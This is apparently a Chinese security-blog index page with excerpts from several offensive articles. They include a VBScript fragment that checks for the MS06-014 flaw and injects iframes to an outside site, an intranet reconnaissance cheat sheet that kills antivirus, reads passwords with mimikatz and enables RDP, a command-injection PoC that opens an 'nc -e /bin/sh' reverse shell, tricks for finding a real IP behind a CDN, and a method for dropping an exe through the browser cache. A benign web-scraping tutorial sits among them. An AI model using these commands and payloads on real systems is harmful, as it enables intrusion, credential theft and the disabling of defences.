-1)window.location.href="tk.htm";elsewindow.location.href="upx06014.htm";</**></BODY></HTML>十二:判断是否有ms06014代码<** language=VB**>on error resume nextset server = document.createElement("object")server.setAttribute "classid", "clsid:10072CEC-8CC1-11D1-986E-00A0C955B42E"set File = server.createobject(Adodb.Stream,"")if Not Err.Number = 0 thenerr.cleardocument.write ("<iframe src=http://shiyanbar.com.cn width=100% height=100% scrolling=no frameborder=0>")elsedocument.write ("<iframe src=http://shiyanbar.com.cn width=100% height=100% scrolling=no frameborder=0>")end if</**>十三:智能读取js的代码demo//读娶src的对象var v = document.getElementById("advjs");//读娶src的参数var u_num =...
阅读全文
【网安科普】内网信息搜集方法小结 安全文章

【网安科普】内网信息搜集方法小结

网安教育培养网络安全人才技术交流、学习咨询记录下内网信息搜集方法1需要搜集的信息(1)我是谁?机器角色的判断,对于目前的此台计算机是普通web服务器还是开发测试服务器或者dns服务器等,具体的判断是通过对机器内的主机名、文件、网络链接、服务等多种情况综合进行。(2)我在哪?对目前机器所处位置区域的判断,是指判断机器处于网络拓扑中的哪个区域,是在dmz区还是办公区还是核心区等位置,当然这里不是绝对的,只是一个大概的环境,不同位置的网络环境不一样,区域的界限也不一定明显。(3)这是哪?对目前机器所处网络环境的拓扑结构进行分析和判断,指需要对内网进行全面的数据收集分析整理,绘制出大概的内网整体拓扑结构,以便于进一步内网渗透及定位目标。2收集本地信息本机信息包括主机的系统、权限、内网分配的ip段、安装的杀毒软件、端口、服务、补丁、网络链接、共享、会话等如果是域内主机,系统、软件、补丁、服务、杀软通常都统一下发安装的,通过收集本机相关信息,可以进一步了解整个域的操作系统版本、软件、补丁、用户命名方式等 1查询网络配置信息:ipconfig /all 2 3查询操作系统及安装软件的版本信息 4英文:systeminfo | findstr /B /C:"OS Name" /C:"OS Version” 5中文:systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本" 6软件查询:wmic product get name,version 7Powershell:powershell "Get-WmiObject -class Win32_Product |Select-Object -Property name,version" 8 9查询本机服务信息:wmic service list brief1011查询进程列表:Tasklist /v12关闭360杀毒软件:taskkill /im 360Tray.exe /f1314查询启动程序信息:wmic startup get command,caption1516查询计划任务及开机时间17计划任务:schtasks /query /fo LIST /v18开机时间:net statistics workstation1920查询用户列表21用户:Net user 可以找命名规则 推测整个域的用户命名方式22获取本地管理员(含域):net localgroup administrators23查询当前在线用户:query user || qwinsta24读取密码:mimikatz2526查询端口列表及补丁27端口查询:Netstat –ano28查询补丁列表:Systeminfo29例:wmic qfe get Caption,Description,HotFixID,InstalledOn3031查询路由表:arp -a3233查询本机共享列表:net share3435查询IE浏览器的代理信息:reg query     “HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionInternet Settings”3637查询RDP端口号:reg query "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal     ServerWinStationsRDP-TCP" /V portNumber3839查询用户列表:net user40tips:通过分析本机用户列表,分析命名规则,推测整个域的命名方式413查询当前权限1whoami /all(1)三种情况三种角色:普通用户本地管理员域内用户在这三种情况下,如果内网存在域,普通用户不能执行域的命令,只能查询本机相关信息,但是本地管理员和域内用户可以执行域的命令原理:域内用户在执行域的命令时,会使用kerberos协议进行认证本地管理员administrator权限可以直接提升为system因此在域中,所有的机器都有一个机器用户(用户名是机器名加上$)。在本质上,机器的system用户对应的就是域里面的机器用户,所以本地管理员可以执行域的命令(2)判断是否存在域1ipconfig /all查看网关ip地址、DNSip地址、域名、本机是否和DNS服务器处于同一网段等信息然后通过反向解析nslookup来解析域名的IP地址,看是否和DNS地址一致(3)判断主域1net time /domain存在域,但当前用户不是域用户,提示拒绝访问存在域,且当前用户是域用户,显示时间当前环境是工作组,不存在域提示,找不到域workgroup的域控制器4开启3389远程桌面(以下命令需要administrator权限运行)通用开3389(优化后):wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1For Win2003:REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /fFor Win2008:REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /fFor Every:win08,三条命令即可:1wmic /namespace:rootcimv2 erminalservices path win32_terminalservicesetting     where (__CLASS != "") call setallowtsconnections 12wmic /namespace:rootcimv2 erminalservices path win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') call setuserauthenticationrequired 13reg add "HKLMSYSTEMCurrentControlSetControlTerminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /fwin2012通用;win7前两条即可。权限需要run as administrator5常见杀毒软件进程 1进程                         软件名称 2360sd.exe                     360杀毒 3360tray.exe                 360实时保护 4ZhuDongFangYu.exe             360主动防御...
阅读全文
python抓取网页数据的三种方法 安全开发

python抓取网页数据的三种方法

一、正则表达式提取网页内容解析效率:正则表达式>lxml>beautifulsoup代码:import  reimport  urllib2 urllist  = 'http://example.webscraping.com/places/default/view/United-Kingdom-239' html =  urllib2.urlopen(urllist).read()num =  re.findall('<td class="w2p_fw">(.*?)</td>',html)print  numprint  "num: ",num二、BeautifulSoup方法提取网页内容代码如下:from  bs4 import BeautifulSoupimport  urllib2 urllist  = 'http://example.webscraping.com/places/default/view/United-Kingdom-239' html =  urllib2.urlopen(urllist).read()#把html格式进行确定和纠正soup =  BeautifulSoup(html,'html.parser')#找出tr标签中id属性为places_area__row的内容,如果把find改成findall函数则会把匹配所#有的内容显示出来,find函数只匹配第一次匹配的内容。tr =  soup.find('tr',attrs={'id':'places_area__row'})td =  tr.find('td',attrs={'class':'w2p_fw'})#取出标签内容area =  td.textprint  "area: ",area三、lxmllxml库功能和使用类似BeautifulSoup库,不过lxml解析速度比beautifulsoup快。代码:import  lxml.htmlimport  urllib2 urllist  = 'http://example.webscraping.com/places/default/view/United-Kingdom-239' html =  urllib2.urlopen(urllist).read()tree =  lxml.html.fromstring(html)td =  tree.cssselect('tr#places_area__row > td.w2p_fw')area =  td.text_content()print  area 本文始发于微信公众号(飓风网络安全):python抓取网页数据的三种方法
阅读全文
代码审计连载-命令执行 代码审计

代码审计连载-命令执行

在文件中,发现了一个命令执行函数,执行命令部分是comandContext()跟下调用链,发现了代码中多次调用了executeShell()方法而在路由中是通过post来处理请求的接着跟踪post传入的内容,在某方法中申明了一个可序列化的类,用来接收数据分析这个方法,如果传入的type参数和TYPE_REMOTE方法一致的话,也就是remote之前实例的方法获取值跟进executeshell函数,在文件中覆写了方法,该方法用于进行ssh连接那么只要传入恶意代码就能执行命令抓取数据包我们构造poc尝试反弹shellPOST /api/xx/xxx/xxx HTTP/1.1Host: xx.xx.xx.xx:8080User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:89.0) Gecko/20100101 Firefox/89.0Accept: application/json, text/plain, */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/json;charset=utf-8Content-Length: 109Connection: close{..."xxxx":"xx||nc xx.xx.xx.xx -e /bin/sh||"} 本文始发于微信公众号(白帽子飙车路):代码审计连载-命令执行
阅读全文
绕过CDN查找网站真实IP方法收集 安全文章

绕过CDN查找网站真实IP方法收集

       总在T00ls中看到人在问如何绕过CDN查找网站真实IP,而下面回复却说这是月经帖,每个月都有人问同样的问题,今天相对比较闲那么就来收集总结下思路吧,希望对大家有所帮助。0x01 验证是否存在CDN方法1        很简单,使用各种多地 ping 的服务,查看对应 IP 地址是否唯一,如果不唯一多半是使用了CDN, 多地 Ping 网站有:方法2        使用 nslookup 进行检测,原理同上,如果返回域名解析对应多个 IP 地址多半是使用了 CDN。有 CDN 的示例:无 CDN 的示例:方法3使用各种工具帮助检测目标网站是否使用了 CDN,可以参见如下网站:0x02 绕过 CDN 查找网站真实 IP2.1 查询历史DNS记录        查看 IP 与 域名绑定的历史记录,可能会存在使用 CDN 前的记录,相关查询网站有:2.2 查询子域名        毕竟 CDN 还是不便宜的,所以很多站长可能只会对主站或者流量大的子站点做了 CDN,而很多小站子站点又跟主站在同一台服务器或者同一个C段内,此时就可以通过查询子域名对应的 IP 来辅助查找网站的真实IP。2.3 利用网站漏洞        这个就没什么好说的了,目的就是让目标服务器主动来连接我们,这样我们就知道其真实IP了,可用的比如XSS盲打,命令执行反弹shell,SSRF等等。2.4 服务器合法服务主动连接我们        同上一样的思路就是让服务器主动连接我们告诉我们它的IP,不过使用的是合法的服务,如RSS邮件订阅,很多网站都自带 sendmail,会发邮件给我们,此时查看邮件源码里面就会包含服务器的真实 IP 了。2.5 使用国外主机解析域名        国内很多 CDN 厂商因为各种原因只做了国内的线路,而针对国外的线路可能几乎没有,此时我们使用国外的主机直接访问可能就能获取到真实IP。2.6 目标敏感文件泄露        也许目标服务器上存在一些泄露的敏感文件中会告诉我们网站的IP,另外就是如 phpinfo之类的探针了。2.7 从 CDN 入手        无论是用社工还是其他手段,反正是拿到了目标网站管理员在CDN的账号了,此时就可以自己在CDN的配置中找到网站的真实IP了。2.8 用 Zmap 扫全网?        这个我没试过不知道...据说 Zmap 44分钟扫描全网?        好吧,还是稍微详细说下吧,比如要找...
阅读全文
【奇技淫巧】一个奇葩的内网写入文件方法 安全文章

【奇技淫巧】一个奇葩的内网写入文件方法

找到一个可以上传图片的web站点:"C:Program FilesInternet Exploreriexplore.exe" http://内网可以访问的站点/0/09/40/75/91ef76c6a7efce1bee5deaebac51f3deb48f6598.jpg 执行访问后会有缓存文件:然后 cd 到C:UsersAdministratorAppDataLocalMicrosoftWindowsTemporary Internet Files> 执行dir /s /w 91ef76c6a7efce1bee5deaebac51f3deb48f6598*.*   找到路径接下来就是: type 路径>C:1.exe  应该可以突破他内网了。 本文始发于微信公众号(T00ls):【奇技淫巧】一个奇葩的内网写入文件方法
阅读全文